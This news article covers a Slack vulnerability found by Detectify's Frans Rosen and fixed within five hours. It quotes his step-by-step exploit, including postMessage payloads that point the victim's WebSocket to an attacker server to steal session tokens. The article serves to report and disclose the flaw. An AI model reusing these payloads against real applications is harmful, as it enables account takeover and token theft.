Slack Doesn’t Slack When It Comes to Patching Up Security Flaws – Fixes a Bug in Less Than 5 Hours


A security researcher discovered a serious vulnerability in Slack - a popular workplace collaboration company. The security bug allowed attackers to hijack your account and take control of your communications.

Frans Rosen of cybersecurity firm Detectify first spotted this flaw that allowed potential attackers to trick you into opening a malicious page for stealing your Slack token. "I was able to create a malicious page that would reconnect your Slack WebSocket to my own WebSocket to steal your private Slack token," Rosen wrote in a post explaining the flaw.

Slack (NYSE: WORK) Is Looking to Cash in Its Newfound Popularity by Trying to Raise Over Half a Billion Dollars in Fresh Funding

This is not the first time Detectify has reported a flaw in the popular communication platform. In April last year, the security firm had discovered and reported another flaw in the platform that had allowed hackers to recover your tokens from Slack applications uploaded to GitHub.

To its credit, Slack appears to be very aggressive with listening to these vulnerability reports and patching them up. Rosen reported that the company responded 33 minutes after his first report, fixed the flaw in less than 5 hours of being reported, and paid him $3,000 in bug bounty. Definitely a good job, when we look at companies like Microsoft on the other end of the spectrum missing the industry-wide 90-day disclosure deadlines.

Slack security bug enabled attackers to access your communication line

The story starts with Rosen using Google's Chrome browser to see if any object in Slack's browser version had any listeners. He noticed that Slack was passing messages to a listener on the window-object, and didn't validate the source or origin that was being sent with the message. "These two are read-only properties that cannot be spoofed," Rosen wrote. "Not validating them was a clear indication to me that I could start [sic] do fun stuff, like accessing the functions using postMessage to this window from another window I controlled."

Rosen realized that he was able to hang up other people's calls to someone. However, continuing his hunt to find stronger exploits, he was able to intercept the messages by stealing Slack tokens using a specially crafted malicious page to store user tokens. When a user opened his malicious page, it proceeded to open a Slack call (, which initiated a WebSocket reconnect pointed at the researcher's rogue server.

Here are some technical details, shared by Rosen:

Google to Take On Slack and Microsoft Teams With Its Upcoming Messaging App


When putting everything together this was what I had:

  1. We start our own web-socket, which only has one job, to listen to the token parameter being sent, saving it on the server.
  2. When the victim clicks the link on our malicious page, we open a new window sending the victim to and save the reference of the window as var b.
  3. We also start a little polling-script that looks if our WebSocket took the token from the request.
  4. We then send the following postMessage to reset the socket-URL:
    b.postMessage({"origin_window_type":"incoming_call","message_type":"ms_msg","msg":{"reply_to":false,"type":"reconnect_url","url":"ws://your-socket-domain:9001/websocket/AAA"}}, "*")
  5. Every 2 seconds we also run the goodbye-call to make sure the socket connection gets interrupted:
    b.postMessage({"origin_window_type":"incoming_call","message_type":"ms_msg","msg":{"reply_to":false,"type":"goodbye"}}, "*")
  6. As soon as the connects to our own socket, we dump the token, which our polling will find, then use it to gather data from the auth.test endpoint in the Slack API using the xoxs-token.

We have successfully stolen the token from the user.

Slack has now patched up the flaw. In its acknowledgment, the company said that the vulnerability allowed an attacker running a malicious site to steal XOXS tokens and that it has never been exploited.

"We resolved the postMessage and call-popup redirect issues, and performed a thorough investigation to confirm that this had never been exploited."